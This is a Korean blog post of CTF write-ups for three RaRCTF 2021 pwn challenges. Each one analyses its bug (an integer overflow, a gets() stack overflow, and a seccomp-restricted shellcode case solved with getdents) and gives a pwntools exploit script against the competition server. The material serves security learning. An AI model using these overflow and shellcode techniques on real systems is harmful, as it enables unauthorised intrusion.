[RaRCTF 2021] write-ups
CTF

[RaRCTF 2021] write-ups

반응형

RaRCTF 2021


<< Archer >>

- code

1) main

code 전역 변수의 기본값은 0x13371337이다. 그러니까 makeshot() 함수에서 뭔가를 해서 다른 값으로 변경시켜야 할 것 같다.

2) makeshot

저기 빨간 줄은 어셈이 잘못 해석되어있다. 

code의 주소는 0x404068이다. 그런데 더하는 값이 0x500000라서 scanf에 0x0을 줘도 넘어버린다.

그래서 integer overflow를 이용해서 code의 주소로 맞춰주면 밑에서 0으로 값을 수정해줘서 main의 성공 조건을 통과하고 쉘을 불러올 것이다.

저 값에서 간단하게 64bit로만 맞춰주면 된다. (∵ v1이 64bit로 연산되고 있기 때문)

- exploit

from pwn import *

# p = process('./archer')
p = remote('193.57.159.27', 43092)

p.sendlineafter(b': ', b'yes')
p.sendlineafter(b'shoot?\n', b'0xfffffffffff04068')

p.interactive()

 

<< ret2winrars >>

- mitigation

- code

1) main

별거 없다.

2) flag

3) get_license

gets 하나 던져준다. mitigation에 canary는 없으니 그냥 BOF 문제다.

[dummy ('A' * 0x28) ] [flag 함수 주소]

- exploit

from pwn import *

# p = process('./ret2winrars')
p = remote('193.57.159.27', 33769)
e = ELF('./ret2winrars')

payload  = b'A' * 0x28
payload += p64(0x401166)
p.sendlineafter(b': ', payload)

p.interactive()

※ flag 시작 주소를 주면 서버 쪽에서 Segmentation falut 뜨니까 조금 아래 주소를 준다.

 

<< Not That Simple >>

- mitigation

아무런 보호기법도 없다. 즉 편하게 쉘코딩 할 수 있다는 소리다.

- code

1) main

seccomp를 설정하고 stack의 주소를 준 후, gets로 입력하게 한다.

seccomp bypass 문제라는 것을 알려주고 있다.

그럼 seccomp가 어떻게 설정되어 있는지 봐야 한다.

install_seccomp 함수를 보도록 하자.

 

2) install_seccomp

위에서 먼저 prctl(PR_SET_NO_NEW_PRIVS)가 있는데 이건 

execve 함수를 통해 새 권한을 설정할 수 없도록 한다.

다음은 prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &filter_2921)가 있다.

(위에 코드는 좀 잘못 해석됐다...)

seccomp-tools를 이용하려고 했는데 좀 이상해서 직접 sock_filter 구조체를 hex보고 해석했다.

ORW 문제라는 걸 알 수 있다.

그런데 조금 다른게 문제 description에서도 나와있지만 파일 이름 자체가 flag라고 했으니 현재 directory의 내용을 알 수 있는 쉘코드를 짜야겠다고 생각했다.

도움은 여기서 얻었다. 바로 getdents syscall을 이용하는 것이다.

https://jiravvit.tistory.com/entry/HackCTF-Pwnable-pzshell-%ED%92%80%EC%9D%B4-64bit-shellcode-shellcraft-orw-getdents

 

[HackCTF : Pwnable] pzshell 풀이 (64bit, shellcode, shellcraft, orw, getdents)

문제 풀이 환경 : ubuntu 18.04 사용 툴 : IDA 7.5 pro shellcode랑 친하지 않은 나2... 주어진 파일은 바이너리 파일과  c코드 Analysis mitigation 미티게이션...?은 아니지만 미티게이션 느낌이 나는 secc..

jiravvit.tistory.com

- exploit

from pwn import *

context.arch = 'amd64'
# context.log_level = 'debug'

# p = process('./notsimple')
p = remote('193.57.159.27', 35316)
e = ELF('./notsimple')


def listing(leak):
    sc = shellcraft.open('.')
    sc += shellcraft.getdents(3, 'rsp', 0x300)
    sc += shellcraft.write(1, 'rsp', 0x300)
    
    payload = asm(sc)
    payload += b'A' * (0x58 - len(payload))
    payload += p64(leak)
    p.sendlineafter(b'> ', payload)
    
    print(dirents(p.recv(0x2a0)))


p.recvuntil(b'! ')
leak = int(p.recvline(), 16)
success(f'stack start: {hex(leak)}')

listing(leak)

p.interactive()

 


~ 후기 ~

군대에 있는 만큼 ctf에 온전히 시간을 쏟기란 매우 어렵다.

그래도 시간 나는 만큼 참여는 하고 있는데 아무래도 상위권을 노리기란 역시 불가능하다. ㅠㅠ

아무튼 이번 ctf는 beginner~expert까지 다양한 난이도로 구성되어 있었던 것이 좋았다.

주 분야가 pwn이라 다른 분야는 찍먹하려고 했는데 pwn만 해도 시간이 촉박해서 못했다.

The Guessing Game도 풀려고 했지만 역시 시간 부족과 더불어 피로가 쌓여서 저기까지만 하고 손 놨다.

다음 ctf부터는 좀 어려운 것부터 하면서 실력을 높여야겠다.

반응형